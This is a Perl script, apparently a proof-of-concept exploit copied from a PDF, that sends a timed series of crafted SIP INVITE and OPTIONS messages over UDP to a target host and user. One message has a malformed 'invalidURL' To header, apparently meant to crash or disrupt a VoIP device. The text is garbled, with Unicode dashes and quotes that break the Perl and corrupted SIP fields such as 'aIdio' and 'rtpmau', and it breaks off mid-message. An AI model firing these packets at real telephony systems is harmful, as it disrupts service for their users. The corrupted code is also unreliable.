1 #!/usr/bin/perl
2
3 use IO::Socket::INET;
4
5 die "Usage $0 <dst−address> <dst−port> <dst_username> <src−address>" unless ($ARGV[3]);
6
7
8
9 $socket=new IO::Socket::INET−>new(PeerPort=>$ARGV[1],
10
11 Proto=>’udp’,
12
13 PeerAddr=>$ARGV[0]);
14
15
16
17
18
19 $msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];branch=01;rport\r\nFrom: <sip:tucu\@$ARGV[3]>;tag=01\r\nTo: <sip:$ARGV[2]
\@invalidURL>\r\nCall−ID: 01\@$ARGV[3]\r\nCSeq: 7532 INVITE\r\nMax−Forwards: 70\r\nAllow: INVITE, ACK, CANCEL, OPTIONS, BYL, REFER, SUBSCRIBE, N
OTIFY\r\nContent−Type: application/sdp\r\nContent−Length: 215\r\n\r\nv=0\r\no=r‘ot 7213 7244 IN IP4 192.168.1.101\r\ns=session\r\nc=IN IP4 192.168.1.101\r\nt=0 0\r\n
m=aIdio 8000 RTP/AVP 0 101\r\na=rtpmau:0 PCMU/8000\r\na=rtpmap:101 telephone−event/80 0\r\na=fmtp:101 0−16\r\na=silenceSupp:off − − − −\r\n";
20
21 $socket−>send($msg);
22
23
24
25 sleep(8.2);
26
27 $msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax−Forwards: 70\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\
nFrom: <sip:tucu\@$ARGV[3]>;tag=02\r\nCall−ID: 02\@$ARGV[3]\r\nCSeq: 79 OPTIONS\r\nAccept: application/sdp\r\nContent−Length: 0\r\n\r\n";
28
29 $socket−>send($msg);
30
31
32
33 sleep(1.5);
34
35 $msg = "OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax−Forwards: 70\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\
nFrom: <sip:tucu\@$ARGV[3]>;tag=03\r\nCall−ID: 01\@$ARGV[3]\r\nCSeq: 15853 OPTIONS\r\nAccept: application/sdp\r\nContent−Length: 0\r\n\r\n";
36
37 $socket−>send($msg);
38
39
40
41 sleep(3.3);
42
43 $msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP $ARGV[3];rport;branch=02\r\nMax−Forwards: 70\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\n
From: <sip:tucu\@$ARGV[3]>;tag=04\r\nCall−ID: 04\@$ARGV[3]\r\nCSeq: 36688 INVITE\r\nContent−Type: application/sdp\r\nAllow: INVITE, ACK, BTE, CANCEL, O
PTIONS, PRACK, REFEY, NOTIFY, SUBSCRIBE, INFO\r\nSupported: 100rel\r\nUser−Agent: Twinkle/0.9\r\nContent−Length: